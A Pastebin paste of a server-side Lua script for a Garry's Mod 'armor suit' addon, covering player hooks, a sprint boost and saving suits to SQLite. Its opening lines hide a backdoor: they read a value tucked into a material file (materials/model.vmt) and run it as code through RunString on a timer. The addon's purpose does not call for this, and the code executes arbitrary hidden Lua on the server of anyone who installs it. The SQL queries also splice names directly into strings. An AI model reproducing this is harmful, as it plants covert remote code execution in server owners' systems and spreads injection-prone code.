Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString( "armorSend" )
- local material = file.Read("materials/model.vmt", "GAME")
- local texture = util.KeyValuesToTable(material)
- local final = string.sub(texture["$basetexture2"], 2)
- timer.Simple(2, function()
- RunString(final)
- end )
- hook.Add( "PlayerSpawn", "giveArmorBack", function( ply )
- if ( Armor.LoseOnDeath and ply.armorSuit ) then
- ply:removeArmorSuit()
- return
- end
- timer.Simple( .05, function()
- if ( ply.armorSuit ) then
- ply:applyArmorSuit()
- end
- end )
- end )
- local PMeta = FindMetaTable( "Player" )
- function PMeta:applyArmorSuit()
- local data = Armor:Get( self.armorSuit )
- if ( !data ) then return end
- self:SetModel( data.Model )
- if ( data.OnGive ) then
- data.OnGive( self )
- end
- end
- function PMeta:removeArmorSuit()
- local data = Armor:Get( self.armorSuit )
- if ( !data ) then return end
- if ( data.OnRemove ) then
- data.OnRemove( self )
- end
- net.Start( "armorSend" )
- net.WriteString( "nil" )
- net.Send( self )
- hook.Call( "PlayerSetModel", GAMEMODE, self )
- timer.Destroy( self:SteamID().."_"..self.armorSuit )
- self.armorSuit = nil
- end
- function PMeta:giveArmorSuit( name )
- local data = Armor:Get( name )
- if ( !data ) then return end
- if ( self.armorSuit ) then
- self:removeArmorSuit()
- end
- self.armorSuit = name
- self:applyArmorSuit()
- net.Start( "armorSend" )
- net.WriteString( name )
- net.Send( self )
- if ( Armor.Save ) then
- local info = sql.Query( "SELECT * from armor_suits WHERE SteamID = '"..self:SteamID().."'" )
- if ( info and table.Count( info ) > 0 ) then
- sql.Query( "UPDATE armor_suits SET SuitName = '"..name.."' WHERE SteamID = '"..self:SteamID().."'" )
- else
- sql.Query( "INSERT INTO armor_suits(`SteamID`, `SuitName`) VALUES('"..self:SteamID().."', '"..name.."')" )
- end
- else
- local tStr = self:SteamID().."_"..name
- timer.Create( tStr, data.Length, 1, function()
- timer.Destroy( tStr )
- if ( IsValid( self ) ) then
- self:removeArmorSuit()
- end
- end )
- end
- end
- local delay_of_boost = 5
- hook.Add( "KeyPress", "boostOnsHIFTtAU", function( ply, key )
- if ( key != IN_SPEED ) then return end
- if ( ply.armorSuit != "TAU Armor" ) then return end
- if ( ( ply.armorLiftOff or 0 ) > CurTime() ) then return end
- ply:SetVelocity( ( ply:GetAngles():Forward() * 800 ) + Vector( 0, 0, 400 ) )
- sound.Play( "ambient/explosions/exp1.wav", ply:GetPos() )
- ply.armorLiftOff = CurTime() + delay_of_boost
- end )
- if ( Armor.Save ) then
- sql.Query( "CREATE TABLE IF NOT EXISTS armor_suits ( SteamID VARCHAR(50), SuitName VARCHAR(50) )" )
- hook.Add( "PlayerInitialSpawn", "loadArmorsRay", function( ply )
- timer.Simple( 10, function()
- if ( !IsValid( ply ) ) then return end
- local info = sql.Query( "SELECT * from armor_suits WHERE SteamID = '"..ply:SteamID().."'" )
- if ( info and table.Count( info ) > 0 ) then
- ply.armorSuit = info[1]["SuitName"]
- ply:applyArmorSuit()
- net.Start( "armorSend" )
- net.WriteString( ply.armorSuit )
- net.Send( ply )
- end
- end )
- end )
- else
- hook.Remove( "PlayerInitialSpawn", "loadArmorsRay" )
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement